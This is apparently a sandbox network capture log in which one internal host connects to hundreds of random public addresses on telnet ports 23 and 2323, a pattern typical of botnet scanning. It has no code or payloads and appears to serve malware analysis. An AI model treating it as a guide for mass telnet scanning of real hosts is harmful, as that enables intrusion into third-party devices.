Aug 17, 2024 01:01:54.338076115 CEST	24655	23	192.168.2.13	170.109.62.30
Aug 17, 2024 01:01:54.338089943 CEST	24655	23	192.168.2.13	115.243.67.214
Aug 17, 2024 01:01:54.338089943 CEST	24655	23	192.168.2.13	189.29.75.184
Aug 17, 2024 01:01:54.338104010 CEST	24655	2323	192.168.2.13	146.151.123.146
Aug 17, 2024 01:01:54.338108063 CEST	24655	23	192.168.2.13	171.122.116.39
Aug 17, 2024 01:01:54.338112116 CEST	24655	23	192.168.2.13	113.57.252.134
Aug 17, 2024 01:01:54.338123083 CEST	24655	23	192.168.2.13	17.169.234.236
Aug 17, 2024 01:01:54.338129044 CEST	24655	23	192.168.2.13	192.138.164.51
Aug 17, 2024 01:01:54.338129044 CEST	24655	23	192.168.2.13	201.118.217.155
Aug 17, 2024 01:01:54.338131905 CEST	24655	23	192.168.2.13	116.179.239.96
Aug 17, 2024 01:01:54.338136911 CEST	24655	23	192.168.2.13	219.122.13.126
Aug 17, 2024 01:01:54.338160038 CEST	24655	23	192.168.2.13	157.125.98.130
Aug 17, 2024 01:01:54.338160038 CEST	24655	2323	192.168.2.13	34.152.78.140
Aug 17, 2024 01:01:54.338160992 CEST	24655	23	192.168.2.13	208.119.5.212
Aug 17, 2024 01:01:54.338160992 CEST	24655	23	192.168.2.13	126.0.97.66
Aug 17, 2024 01:01:54.338160038 CEST	24655	23	192.168.2.13	88.31.186.234
Aug 17, 2024 01:01:54.338181019 CEST	24655	23	192.168.2.13	46.125.228.94
Aug 17, 2024 01:01:54.338182926 CEST	24655	23	192.168.2.13	180.233.33.30
Aug 17, 2024 01:01:54.338182926 CEST	24655	23	192.168.2.13	211.63.49.55
Aug 17, 2024 01:01:54.338185072 CEST	24655	23	192.168.2.13	149.48.138.197
Aug 17, 2024 01:01:54.338185072 CEST	24655	23	192.168.2.13	107.158.178.68
Aug 17, 2024 01:01:54.338186979 CEST	24655	23	192.168.2.13	94.121.140.4
Aug 17, 2024 01:01:54.338190079 CEST	24655	23	192.168.2.13	8.61.245.192
Aug 17, 2024 01:01:54.338191986 CEST	24655	23	192.168.2.13	208.145.139.56
Aug 17, 2024 01:01:54.342516899 CEST	23	43254	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.342520952 CEST	23	24655	216.165.67.190	192.168.2.13
Aug 17, 2024 01:01:54.342525005 CEST	2323	24655	218.37.52.191	192.168.2.13
Aug 17, 2024 01:01:54.342529058 CEST	23	24655	177.217.160.254	192.168.2.13
Aug 17, 2024 01:01:54.342534065 CEST	23	24655	201.144.189.8	192.168.2.13
Aug 17, 2024 01:01:54.342538118 CEST	23	46158	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.342541933 CEST	23	24655	171.47.185.154	192.168.2.13
Aug 17, 2024 01:01:54.342550039 CEST	23	24655	38.164.154.203	192.168.2.13
Aug 17, 2024 01:01:54.342554092 CEST	23	24655	185.148.232.209	192.168.2.13
Aug 17, 2024 01:01:54.342576027 CEST	24655	23	192.168.2.13	216.165.67.190
Aug 17, 2024 01:01:54.342575073 CEST	24655	2323	192.168.2.13	218.37.52.191
Aug 17, 2024 01:01:54.342575073 CEST	24655	23	192.168.2.13	177.217.160.254
Aug 17, 2024 01:01:54.342590094 CEST	24655	23	192.168.2.13	201.144.189.8
Aug 17, 2024 01:01:54.342592001 CEST	46158	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.342592001 CEST	24655	23	192.168.2.13	171.47.185.154
Aug 17, 2024 01:01:54.342592001 CEST	24655	23	192.168.2.13	38.164.154.203
Aug 17, 2024 01:01:54.342592001 CEST	24655	23	192.168.2.13	185.148.232.209
Aug 17, 2024 01:01:54.342602015 CEST	2323	24655	41.169.223.99	192.168.2.13
Aug 17, 2024 01:01:54.342607021 CEST	23	24655	75.194.105.136	192.168.2.13
Aug 17, 2024 01:01:54.342611074 CEST	23	24655	31.138.92.38	192.168.2.13
Aug 17, 2024 01:01:54.342616081 CEST	23	24655	9.229.17.230	192.168.2.13
Aug 17, 2024 01:01:54.342639923 CEST	24655	23	192.168.2.13	75.194.105.136
Aug 17, 2024 01:01:54.342641115 CEST	24655	23	192.168.2.13	31.138.92.38
Aug 17, 2024 01:01:54.342641115 CEST	24655	2323	192.168.2.13	41.169.223.99
Aug 17, 2024 01:01:54.342669010 CEST	24655	23	192.168.2.13	9.229.17.230
Aug 17, 2024 01:01:54.343396902 CEST	23	24655	218.214.18.165	192.168.2.13
Aug 17, 2024 01:01:54.343400955 CEST	23	24655	60.145.251.24	192.168.2.13
Aug 17, 2024 01:01:54.343410015 CEST	23	24655	139.173.83.10	192.168.2.13
Aug 17, 2024 01:01:54.343414068 CEST	23	24655	114.139.245.35	192.168.2.13
Aug 17, 2024 01:01:54.343446970 CEST	24655	23	192.168.2.13	139.173.83.10
Aug 17, 2024 01:01:54.343456984 CEST	24655	23	192.168.2.13	218.214.18.165
Aug 17, 2024 01:01:54.343457937 CEST	24655	23	192.168.2.13	60.145.251.24
Aug 17, 2024 01:01:54.343458891 CEST	24655	23	192.168.2.13	114.139.245.35
Aug 17, 2024 01:01:54.343568087 CEST	23	24655	46.103.101.250	192.168.2.13
Aug 17, 2024 01:01:54.343571901 CEST	23	24655	58.68.62.187	192.168.2.13
Aug 17, 2024 01:01:54.343580961 CEST	23	24655	223.74.182.130	192.168.2.13
Aug 17, 2024 01:01:54.343599081 CEST	23	24655	111.62.11.83	192.168.2.13
Aug 17, 2024 01:01:54.343602896 CEST	23	24655	157.231.248.135	192.168.2.13
Aug 17, 2024 01:01:54.343606949 CEST	23	24655	86.76.120.116	192.168.2.13
Aug 17, 2024 01:01:54.343610048 CEST	2323	24655	2.229.54.174	192.168.2.13
Aug 17, 2024 01:01:54.343611002 CEST	24655	23	192.168.2.13	58.68.62.187
Aug 17, 2024 01:01:54.343611956 CEST	24655	23	192.168.2.13	46.103.101.250
Aug 17, 2024 01:01:54.343619108 CEST	24655	23	192.168.2.13	223.74.182.130
Aug 17, 2024 01:01:54.343621016 CEST	23	24655	187.14.138.0	192.168.2.13
Aug 17, 2024 01:01:54.343619108 CEST	24655	23	192.168.2.13	111.62.11.83
Aug 17, 2024 01:01:54.343626022 CEST	23	24655	136.230.151.53	192.168.2.13
Aug 17, 2024 01:01:54.343626022 CEST	24655	23	192.168.2.13	157.231.248.135
Aug 17, 2024 01:01:54.343633890 CEST	23	24655	192.62.253.6	192.168.2.13
Aug 17, 2024 01:01:54.343637943 CEST	23	24655	31.248.252.94	192.168.2.13
Aug 17, 2024 01:01:54.343642950 CEST	23	24655	111.21.162.216	192.168.2.13
Aug 17, 2024 01:01:54.343647003 CEST	24655	23	192.168.2.13	86.76.120.116
Aug 17, 2024 01:01:54.343652010 CEST	24655	2323	192.168.2.13	2.229.54.174
Aug 17, 2024 01:01:54.343663931 CEST	24655	23	192.168.2.13	187.14.138.0
Aug 17, 2024 01:01:54.343663931 CEST	24655	23	192.168.2.13	192.62.253.6
Aug 17, 2024 01:01:54.343666077 CEST	24655	23	192.168.2.13	31.248.252.94
Aug 17, 2024 01:01:54.343678951 CEST	24655	23	192.168.2.13	136.230.151.53
Aug 17, 2024 01:01:54.343686104 CEST	24655	23	192.168.2.13	111.21.162.216
Aug 17, 2024 01:01:54.343777895 CEST	23	24655	47.227.5.118	192.168.2.13
Aug 17, 2024 01:01:54.343782902 CEST	23	24655	48.198.68.40	192.168.2.13
Aug 17, 2024 01:01:54.343791962 CEST	2323	24655	42.152.73.122	192.168.2.13
Aug 17, 2024 01:01:54.343805075 CEST	23	24655	220.161.197.15	192.168.2.13
Aug 17, 2024 01:01:54.343808889 CEST	23	24655	58.207.10.234	192.168.2.13
Aug 17, 2024 01:01:54.343822002 CEST	23	24655	219.78.227.131	192.168.2.13
Aug 17, 2024 01:01:54.343827009 CEST	24655	2323	192.168.2.13	42.152.73.122
Aug 17, 2024 01:01:54.343827963 CEST	23	24655	38.104.154.41	192.168.2.13
Aug 17, 2024 01:01:54.343827963 CEST	24655	23	192.168.2.13	47.227.5.118
Aug 17, 2024 01:01:54.343828917 CEST	24655	23	192.168.2.13	48.198.68.40
Aug 17, 2024 01:01:54.343832016 CEST	23	24655	220.101.145.183	192.168.2.13
Aug 17, 2024 01:01:54.343836069 CEST	23	24655	102.156.129.71	192.168.2.13
Aug 17, 2024 01:01:54.343837976 CEST	24655	23	192.168.2.13	220.161.197.15
Aug 17, 2024 01:01:54.343841076 CEST	23	24655	91.117.250.43	192.168.2.13
Aug 17, 2024 01:01:54.343844891 CEST	23	24655	19.25.113.68	192.168.2.13
Aug 17, 2024 01:01:54.343847990 CEST	24655	23	192.168.2.13	219.78.227.131
Aug 17, 2024 01:01:54.343848944 CEST	24655	23	192.168.2.13	58.207.10.234
Aug 17, 2024 01:01:54.343853951 CEST	24655	23	192.168.2.13	38.104.154.41
Aug 17, 2024 01:01:54.343863010 CEST	24655	23	192.168.2.13	102.156.129.71
Aug 17, 2024 01:01:54.343874931 CEST	24655	23	192.168.2.13	91.117.250.43
Aug 17, 2024 01:01:54.343899012 CEST	24655	23	192.168.2.13	220.101.145.183
Aug 17, 2024 01:01:54.343900919 CEST	24655	23	192.168.2.13	19.25.113.68
Aug 17, 2024 01:01:54.344240904 CEST	23	24655	218.116.201.242	192.168.2.13
Aug 17, 2024 01:01:54.344245911 CEST	23	24655	93.161.170.215	192.168.2.13
Aug 17, 2024 01:01:54.344259024 CEST	23	24655	84.56.245.221	192.168.2.13
Aug 17, 2024 01:01:54.344269991 CEST	23	24655	58.177.172.210	192.168.2.13
Aug 17, 2024 01:01:54.344279051 CEST	2323	24655	180.31.34.98	192.168.2.13
Aug 17, 2024 01:01:54.344284058 CEST	23	24655	122.10.12.71	192.168.2.13
Aug 17, 2024 01:01:54.344288111 CEST	24655	23	192.168.2.13	218.116.201.242
Aug 17, 2024 01:01:54.344288111 CEST	24655	23	192.168.2.13	93.161.170.215
Aug 17, 2024 01:01:54.344309092 CEST	24655	23	192.168.2.13	84.56.245.221
Aug 17, 2024 01:01:54.344309092 CEST	24655	23	192.168.2.13	58.177.172.210
Aug 17, 2024 01:01:54.344319105 CEST	23	24655	141.62.24.94	192.168.2.13
Aug 17, 2024 01:01:54.344324112 CEST	23	24655	61.84.112.141	192.168.2.13
Aug 17, 2024 01:01:54.344327927 CEST	23	24655	216.18.143.243	192.168.2.13
Aug 17, 2024 01:01:54.344331026 CEST	24655	2323	192.168.2.13	180.31.34.98
Aug 17, 2024 01:01:54.344331026 CEST	24655	23	192.168.2.13	122.10.12.71
Aug 17, 2024 01:01:54.344331980 CEST	23	24655	173.107.211.59	192.168.2.13
Aug 17, 2024 01:01:54.344357014 CEST	23	24655	151.220.140.36	192.168.2.13
Aug 17, 2024 01:01:54.344357967 CEST	24655	23	192.168.2.13	173.107.211.59
Aug 17, 2024 01:01:54.344357967 CEST	24655	23	192.168.2.13	216.18.143.243
Aug 17, 2024 01:01:54.344360113 CEST	24655	23	192.168.2.13	141.62.24.94
Aug 17, 2024 01:01:54.344360113 CEST	24655	23	192.168.2.13	61.84.112.141
Aug 17, 2024 01:01:54.344361067 CEST	23	24655	182.124.30.139	192.168.2.13
Aug 17, 2024 01:01:54.344373941 CEST	2323	24655	173.240.249.3	192.168.2.13
Aug 17, 2024 01:01:54.344377995 CEST	23	24655	212.232.123.71	192.168.2.13
Aug 17, 2024 01:01:54.344387054 CEST	23	24655	197.67.144.213	192.168.2.13
Aug 17, 2024 01:01:54.344391108 CEST	23	24655	88.60.19.179	192.168.2.13
Aug 17, 2024 01:01:54.344396114 CEST	24655	23	192.168.2.13	151.220.140.36
Aug 17, 2024 01:01:54.344399929 CEST	23	24655	62.178.9.234	192.168.2.13
Aug 17, 2024 01:01:54.344403982 CEST	24655	23	192.168.2.13	182.124.30.139
Aug 17, 2024 01:01:54.344403982 CEST	23	24655	194.243.241.47	192.168.2.13
Aug 17, 2024 01:01:54.344404936 CEST	24655	2323	192.168.2.13	173.240.249.3
Aug 17, 2024 01:01:54.344409943 CEST	23	24655	90.239.118.123	192.168.2.13
Aug 17, 2024 01:01:54.344412088 CEST	24655	23	192.168.2.13	212.232.123.71
Aug 17, 2024 01:01:54.344413996 CEST	23	24655	200.218.170.102	192.168.2.13
Aug 17, 2024 01:01:54.344418049 CEST	23	24655	156.107.8.120	192.168.2.13
Aug 17, 2024 01:01:54.344424009 CEST	24655	23	192.168.2.13	197.67.144.213
Aug 17, 2024 01:01:54.344425917 CEST	24655	23	192.168.2.13	62.178.9.234
Aug 17, 2024 01:01:54.344429016 CEST	24655	23	192.168.2.13	194.243.241.47
Aug 17, 2024 01:01:54.344439030 CEST	24655	23	192.168.2.13	200.218.170.102
Aug 17, 2024 01:01:54.344449997 CEST	24655	23	192.168.2.13	156.107.8.120
Aug 17, 2024 01:01:54.344466925 CEST	24655	23	192.168.2.13	88.60.19.179
Aug 17, 2024 01:01:54.344472885 CEST	24655	23	192.168.2.13	90.239.118.123
Aug 17, 2024 01:01:54.344477892 CEST	2323	24655	98.183.184.242	192.168.2.13
Aug 17, 2024 01:01:54.344494104 CEST	23	24655	130.247.172.175	192.168.2.13
Aug 17, 2024 01:01:54.344502926 CEST	23	24655	190.217.109.63	192.168.2.13
Aug 17, 2024 01:01:54.344506025 CEST	23	24655	155.207.5.171	192.168.2.13
Aug 17, 2024 01:01:54.344510078 CEST	23	24655	68.9.183.234	192.168.2.13
Aug 17, 2024 01:01:54.344513893 CEST	23	24655	46.69.56.246	192.168.2.13
Aug 17, 2024 01:01:54.344523907 CEST	23	24655	47.169.211.135	192.168.2.13
Aug 17, 2024 01:01:54.344537020 CEST	24655	23	192.168.2.13	155.207.5.171
Aug 17, 2024 01:01:54.344537973 CEST	24655	23	192.168.2.13	130.247.172.175
Aug 17, 2024 01:01:54.344538927 CEST	24655	2323	192.168.2.13	98.183.184.242
Aug 17, 2024 01:01:54.344546080 CEST	24655	23	192.168.2.13	68.9.183.234
Aug 17, 2024 01:01:54.344546080 CEST	24655	23	192.168.2.13	46.69.56.246
Aug 17, 2024 01:01:54.344562054 CEST	24655	23	192.168.2.13	47.169.211.135
Aug 17, 2024 01:01:54.344563007 CEST	24655	23	192.168.2.13	190.217.109.63
Aug 17, 2024 01:01:54.345052958 CEST	23	24655	178.6.188.242	192.168.2.13
Aug 17, 2024 01:01:54.345057964 CEST	2323	24655	210.228.172.164	192.168.2.13
Aug 17, 2024 01:01:54.345067024 CEST	23	24655	153.191.215.103	192.168.2.13
Aug 17, 2024 01:01:54.345071077 CEST	23	24655	47.156.30.136	192.168.2.13
Aug 17, 2024 01:01:54.345074892 CEST	23	24655	120.163.153.223	192.168.2.13
Aug 17, 2024 01:01:54.345079899 CEST	23	24655	44.51.166.156	192.168.2.13
Aug 17, 2024 01:01:54.345102072 CEST	24655	23	192.168.2.13	178.6.188.242
Aug 17, 2024 01:01:54.345102072 CEST	24655	23	192.168.2.13	153.191.215.103
Aug 17, 2024 01:01:54.345103025 CEST	24655	2323	192.168.2.13	210.228.172.164
Aug 17, 2024 01:01:54.345104933 CEST	23	24655	38.119.158.237	192.168.2.13
Aug 17, 2024 01:01:54.345109940 CEST	23	24655	42.100.42.125	192.168.2.13
Aug 17, 2024 01:01:54.345110893 CEST	24655	23	192.168.2.13	47.156.30.136
Aug 17, 2024 01:01:54.345113993 CEST	24655	23	192.168.2.13	120.163.153.223
Aug 17, 2024 01:01:54.345113993 CEST	23	24655	117.225.42.22	192.168.2.13
Aug 17, 2024 01:01:54.345119953 CEST	23	24655	146.46.188.4	192.168.2.13
Aug 17, 2024 01:01:54.345124006 CEST	23	24655	41.126.72.165	192.168.2.13
Aug 17, 2024 01:01:54.345143080 CEST	24655	23	192.168.2.13	117.225.42.22
Aug 17, 2024 01:01:54.345154047 CEST	24655	23	192.168.2.13	146.46.188.4
Aug 17, 2024 01:01:54.345155001 CEST	24655	23	192.168.2.13	38.119.158.237
Aug 17, 2024 01:01:54.345156908 CEST	24655	23	192.168.2.13	44.51.166.156
Aug 17, 2024 01:01:54.345156908 CEST	24655	23	192.168.2.13	41.126.72.165
Aug 17, 2024 01:01:54.345159054 CEST	24655	23	192.168.2.13	42.100.42.125
Aug 17, 2024 01:01:54.345164061 CEST	23	24655	80.11.156.193	192.168.2.13
Aug 17, 2024 01:01:54.345170975 CEST	23	24655	179.192.25.31	192.168.2.13
Aug 17, 2024 01:01:54.345180035 CEST	23	24655	81.200.206.114	192.168.2.13
Aug 17, 2024 01:01:54.345184088 CEST	23	24655	133.145.198.5	192.168.2.13
Aug 17, 2024 01:01:54.345187902 CEST	23	24655	126.163.58.156	192.168.2.13
Aug 17, 2024 01:01:54.345191956 CEST	23	24655	34.112.18.217	192.168.2.13
Aug 17, 2024 01:01:54.345201969 CEST	2323	24655	209.142.9.201	192.168.2.13
Aug 17, 2024 01:01:54.345206022 CEST	23	24655	45.92.105.143	192.168.2.13
Aug 17, 2024 01:01:54.345213890 CEST	23	24655	75.214.109.234	192.168.2.13
Aug 17, 2024 01:01:54.345216036 CEST	24655	23	192.168.2.13	81.200.206.114
Aug 17, 2024 01:01:54.345216990 CEST	24655	23	192.168.2.13	80.11.156.193
Aug 17, 2024 01:01:54.345216990 CEST	24655	23	192.168.2.13	179.192.25.31
Aug 17, 2024 01:01:54.345218897 CEST	23	24655	93.139.43.199	192.168.2.13
Aug 17, 2024 01:01:54.345218897 CEST	24655	23	192.168.2.13	133.145.198.5
Aug 17, 2024 01:01:54.345218897 CEST	24655	23	192.168.2.13	34.112.18.217
Aug 17, 2024 01:01:54.345222950 CEST	23	24655	93.175.30.205	192.168.2.13
Aug 17, 2024 01:01:54.345227003 CEST	23	24655	173.99.183.95	192.168.2.13
Aug 17, 2024 01:01:54.345236063 CEST	23	24655	77.37.74.238	192.168.2.13
Aug 17, 2024 01:01:54.345240116 CEST	24655	23	192.168.2.13	75.214.109.234
Aug 17, 2024 01:01:54.345240116 CEST	23	24655	39.186.234.197	192.168.2.13
Aug 17, 2024 01:01:54.345241070 CEST	24655	23	192.168.2.13	45.92.105.143
Aug 17, 2024 01:01:54.345244884 CEST	2323	24655	82.82.75.248	192.168.2.13
Aug 17, 2024 01:01:54.345247030 CEST	24655	23	192.168.2.13	93.139.43.199
Aug 17, 2024 01:01:54.345254898 CEST	23	24655	195.61.138.51	192.168.2.13
Aug 17, 2024 01:01:54.345258951 CEST	23	24655	119.107.106.66	192.168.2.13
Aug 17, 2024 01:01:54.345258951 CEST	24655	2323	192.168.2.13	209.142.9.201
Aug 17, 2024 01:01:54.345262051 CEST	24655	23	192.168.2.13	126.163.58.156
Aug 17, 2024 01:01:54.345263004 CEST	24655	23	192.168.2.13	173.99.183.95
Aug 17, 2024 01:01:54.345263958 CEST	24655	23	192.168.2.13	77.37.74.238
Aug 17, 2024 01:01:54.345269918 CEST	24655	23	192.168.2.13	93.175.30.205
Aug 17, 2024 01:01:54.345290899 CEST	24655	2323	192.168.2.13	82.82.75.248
Aug 17, 2024 01:01:54.345292091 CEST	24655	23	192.168.2.13	39.186.234.197
Aug 17, 2024 01:01:54.345307112 CEST	24655	23	192.168.2.13	119.107.106.66
Aug 17, 2024 01:01:54.345309019 CEST	24655	23	192.168.2.13	195.61.138.51
Aug 17, 2024 01:01:54.345427036 CEST	23	24655	183.109.162.76	192.168.2.13
Aug 17, 2024 01:01:54.345432997 CEST	23	24655	136.31.233.126	192.168.2.13
Aug 17, 2024 01:01:54.345441103 CEST	23	24655	112.168.157.16	192.168.2.13
Aug 17, 2024 01:01:54.345474005 CEST	24655	23	192.168.2.13	183.109.162.76
Aug 17, 2024 01:01:54.345477104 CEST	23	24655	65.5.47.60	192.168.2.13
Aug 17, 2024 01:01:54.345480919 CEST	23	24655	92.10.108.211	192.168.2.13
Aug 17, 2024 01:01:54.345480919 CEST	24655	23	192.168.2.13	136.31.233.126
Aug 17, 2024 01:01:54.345482111 CEST	24655	23	192.168.2.13	112.168.157.16
Aug 17, 2024 01:01:54.345489979 CEST	23	24655	151.6.252.227	192.168.2.13
Aug 17, 2024 01:01:54.345494986 CEST	2323	24655	107.96.84.206	192.168.2.13
Aug 17, 2024 01:01:54.345499039 CEST	23	24655	110.255.82.31	192.168.2.13
Aug 17, 2024 01:01:54.345503092 CEST	23	24655	44.114.243.72	192.168.2.13
Aug 17, 2024 01:01:54.345506907 CEST	23	24655	207.230.211.112	192.168.2.13
Aug 17, 2024 01:01:54.345515966 CEST	23	24655	179.181.8.206	192.168.2.13
Aug 17, 2024 01:01:54.345520973 CEST	24655	23	192.168.2.13	92.10.108.211
Aug 17, 2024 01:01:54.345529079 CEST	24655	23	192.168.2.13	65.5.47.60
Aug 17, 2024 01:01:54.345541000 CEST	24655	23	192.168.2.13	151.6.252.227
Aug 17, 2024 01:01:54.345541000 CEST	24655	23	192.168.2.13	110.255.82.31
Aug 17, 2024 01:01:54.345541954 CEST	24655	23	192.168.2.13	44.114.243.72
Aug 17, 2024 01:01:54.345541000 CEST	24655	2323	192.168.2.13	107.96.84.206
Aug 17, 2024 01:01:54.345542908 CEST	24655	23	192.168.2.13	207.230.211.112
Aug 17, 2024 01:01:54.345542908 CEST	24655	23	192.168.2.13	179.181.8.206
Aug 17, 2024 01:01:54.345607996 CEST	23	24655	65.151.103.79	192.168.2.13
Aug 17, 2024 01:01:54.345613003 CEST	23	24655	167.125.222.171	192.168.2.13
Aug 17, 2024 01:01:54.345622063 CEST	23	24655	101.215.215.84	192.168.2.13
Aug 17, 2024 01:01:54.345624924 CEST	23	24655	152.155.18.23	192.168.2.13
Aug 17, 2024 01:01:54.345634937 CEST	23	24655	77.101.182.85	192.168.2.13
Aug 17, 2024 01:01:54.345638990 CEST	23	24655	213.61.182.85	192.168.2.13
Aug 17, 2024 01:01:54.345642090 CEST	2323	24655	217.94.109.186	192.168.2.13
Aug 17, 2024 01:01:54.345645905 CEST	23	24655	212.221.96.183	192.168.2.13
Aug 17, 2024 01:01:54.345649958 CEST	23	24655	82.190.168.221	192.168.2.13
Aug 17, 2024 01:01:54.345654011 CEST	23	24655	108.103.67.114	192.168.2.13
Aug 17, 2024 01:01:54.345659018 CEST	24655	23	192.168.2.13	101.215.215.84
Aug 17, 2024 01:01:54.345659018 CEST	24655	23	192.168.2.13	167.125.222.171
Aug 17, 2024 01:01:54.345659971 CEST	23	24655	37.248.51.112	192.168.2.13
Aug 17, 2024 01:01:54.345659018 CEST	24655	23	192.168.2.13	65.151.103.79
Aug 17, 2024 01:01:54.345664978 CEST	24655	23	192.168.2.13	77.101.182.85
Aug 17, 2024 01:01:54.345673084 CEST	24655	2323	192.168.2.13	217.94.109.186
Aug 17, 2024 01:01:54.345674038 CEST	24655	23	192.168.2.13	213.61.182.85
Aug 17, 2024 01:01:54.345674038 CEST	23	24655	197.111.45.243	192.168.2.13
Aug 17, 2024 01:01:54.345674992 CEST	24655	23	192.168.2.13	152.155.18.23
Aug 17, 2024 01:01:54.345674992 CEST	24655	23	192.168.2.13	212.221.96.183
Aug 17, 2024 01:01:54.345674992 CEST	24655	23	192.168.2.13	82.190.168.221
Aug 17, 2024 01:01:54.345679045 CEST	23	24655	160.18.183.17	192.168.2.13
Aug 17, 2024 01:01:54.345688105 CEST	23	24655	14.61.132.64	192.168.2.13
Aug 17, 2024 01:01:54.345693111 CEST	23	24655	66.102.51.251	192.168.2.13
Aug 17, 2024 01:01:54.345693111 CEST	24655	23	192.168.2.13	108.103.67.114
Aug 17, 2024 01:01:54.345694065 CEST	24655	23	192.168.2.13	37.248.51.112
Aug 17, 2024 01:01:54.345695972 CEST	23	24655	182.150.69.188	192.168.2.13
Aug 17, 2024 01:01:54.345700979 CEST	23	24655	112.40.73.161	192.168.2.13
Aug 17, 2024 01:01:54.345714092 CEST	24655	23	192.168.2.13	160.18.183.17
Aug 17, 2024 01:01:54.345715046 CEST	24655	23	192.168.2.13	197.111.45.243
Aug 17, 2024 01:01:54.345729113 CEST	24655	23	192.168.2.13	112.40.73.161
Aug 17, 2024 01:01:54.345746994 CEST	24655	23	192.168.2.13	182.150.69.188
Aug 17, 2024 01:01:54.345747948 CEST	24655	23	192.168.2.13	14.61.132.64
Aug 17, 2024 01:01:54.345747948 CEST	24655	23	192.168.2.13	66.102.51.251
Aug 17, 2024 01:01:54.346030951 CEST	23	24655	126.11.110.76	192.168.2.13
Aug 17, 2024 01:01:54.346035957 CEST	2323	24655	177.174.167.23	192.168.2.13
Aug 17, 2024 01:01:54.346045017 CEST	23	24655	126.246.192.116	192.168.2.13
Aug 17, 2024 01:01:54.346050024 CEST	23	24655	1.2.82.196	192.168.2.13
Aug 17, 2024 01:01:54.346057892 CEST	23	24655	101.49.101.174	192.168.2.13
Aug 17, 2024 01:01:54.346062899 CEST	23	24655	188.142.154.131	192.168.2.13
Aug 17, 2024 01:01:54.346065998 CEST	2323	24655	2.176.1.143	192.168.2.13
Aug 17, 2024 01:01:54.346071005 CEST	23	24655	102.136.128.71	192.168.2.13
Aug 17, 2024 01:01:54.346074104 CEST	24655	23	192.168.2.13	126.11.110.76
Aug 17, 2024 01:01:54.346075058 CEST	23	24655	58.43.25.108	192.168.2.13
Aug 17, 2024 01:01:54.346081972 CEST	24655	23	192.168.2.13	101.49.101.174
Aug 17, 2024 01:01:54.346085072 CEST	23	24655	205.141.31.28	192.168.2.13
Aug 17, 2024 01:01:54.346088886 CEST	24655	23	192.168.2.13	126.246.192.116
Aug 17, 2024 01:01:54.346088886 CEST	24655	2323	192.168.2.13	2.176.1.143
Aug 17, 2024 01:01:54.346093893 CEST	24655	2323	192.168.2.13	177.174.167.23
Aug 17, 2024 01:01:54.346093893 CEST	24655	23	192.168.2.13	188.142.154.131
Aug 17, 2024 01:01:54.346093893 CEST	24655	23	192.168.2.13	1.2.82.196
Aug 17, 2024 01:01:54.346107006 CEST	24655	23	192.168.2.13	102.136.128.71
Aug 17, 2024 01:01:54.346112967 CEST	24655	23	192.168.2.13	58.43.25.108
Aug 17, 2024 01:01:54.346112967 CEST	24655	23	192.168.2.13	205.141.31.28
Aug 17, 2024 01:01:54.346261978 CEST	23	24655	217.235.98.224	192.168.2.13
Aug 17, 2024 01:01:54.346267939 CEST	23	24655	150.171.85.57	192.168.2.13
Aug 17, 2024 01:01:54.346276999 CEST	23	24655	160.171.196.120	192.168.2.13
Aug 17, 2024 01:01:54.346281052 CEST	23	24655	222.110.111.3	192.168.2.13
Aug 17, 2024 01:01:54.346288919 CEST	23	24655	170.109.62.30	192.168.2.13
Aug 17, 2024 01:01:54.346292973 CEST	23	24655	115.243.67.214	192.168.2.13
Aug 17, 2024 01:01:54.346302032 CEST	23	24655	189.29.75.184	192.168.2.13
Aug 17, 2024 01:01:54.346306086 CEST	2323	24655	146.151.123.146	192.168.2.13
Aug 17, 2024 01:01:54.346309900 CEST	23	24655	171.122.116.39	192.168.2.13
Aug 17, 2024 01:01:54.346311092 CEST	24655	23	192.168.2.13	160.171.196.120
Aug 17, 2024 01:01:54.346311092 CEST	24655	23	192.168.2.13	217.235.98.224
Aug 17, 2024 01:01:54.346311092 CEST	24655	23	192.168.2.13	222.110.111.3
Aug 17, 2024 01:01:54.346312046 CEST	24655	23	192.168.2.13	150.171.85.57
Aug 17, 2024 01:01:54.346319914 CEST	23	24655	113.57.252.134	192.168.2.13
Aug 17, 2024 01:01:54.346324921 CEST	23	24655	17.169.234.236	192.168.2.13
Aug 17, 2024 01:01:54.346328020 CEST	24655	23	192.168.2.13	115.243.67.214
Aug 17, 2024 01:01:54.346328020 CEST	24655	23	192.168.2.13	189.29.75.184
Aug 17, 2024 01:01:54.346328974 CEST	23	24655	192.138.164.51	192.168.2.13
Aug 17, 2024 01:01:54.346338034 CEST	23	24655	116.179.239.96	192.168.2.13
Aug 17, 2024 01:01:54.346340895 CEST	23	24655	201.118.217.155	192.168.2.13
Aug 17, 2024 01:01:54.346343040 CEST	24655	23	192.168.2.13	113.57.252.134
Aug 17, 2024 01:01:54.346344948 CEST	23	24655	219.122.13.126	192.168.2.13
Aug 17, 2024 01:01:54.346349001 CEST	24655	2323	192.168.2.13	146.151.123.146
Aug 17, 2024 01:01:54.346353054 CEST	24655	23	192.168.2.13	171.122.116.39
Aug 17, 2024 01:01:54.346354961 CEST	23	24655	208.119.5.212	192.168.2.13
Aug 17, 2024 01:01:54.346359968 CEST	23	24655	126.0.97.66	192.168.2.13
Aug 17, 2024 01:01:54.346362114 CEST	24655	23	192.168.2.13	17.169.234.236
Aug 17, 2024 01:01:54.346364975 CEST	24655	23	192.168.2.13	192.138.164.51
Aug 17, 2024 01:01:54.346364975 CEST	24655	23	192.168.2.13	170.109.62.30
Aug 17, 2024 01:01:54.346368074 CEST	24655	23	192.168.2.13	116.179.239.96
Aug 17, 2024 01:01:54.346378088 CEST	24655	23	192.168.2.13	201.118.217.155
Aug 17, 2024 01:01:54.346383095 CEST	24655	23	192.168.2.13	219.122.13.126
Aug 17, 2024 01:01:54.346394062 CEST	24655	23	192.168.2.13	208.119.5.212
Aug 17, 2024 01:01:54.346409082 CEST	24655	23	192.168.2.13	126.0.97.66
Aug 17, 2024 01:01:54.346481085 CEST	23	24655	157.125.98.130	192.168.2.13
Aug 17, 2024 01:01:54.346529961 CEST	24655	23	192.168.2.13	157.125.98.130
Aug 17, 2024 01:01:54.346796036 CEST	2323	24655	34.152.78.140	192.168.2.13
Aug 17, 2024 01:01:54.346812010 CEST	23	24655	88.31.186.234	192.168.2.13
Aug 17, 2024 01:01:54.346817970 CEST	23	24655	46.125.228.94	192.168.2.13
Aug 17, 2024 01:01:54.346827984 CEST	23	24655	180.233.33.30	192.168.2.13
Aug 17, 2024 01:01:54.346832037 CEST	23	24655	211.63.49.55	192.168.2.13
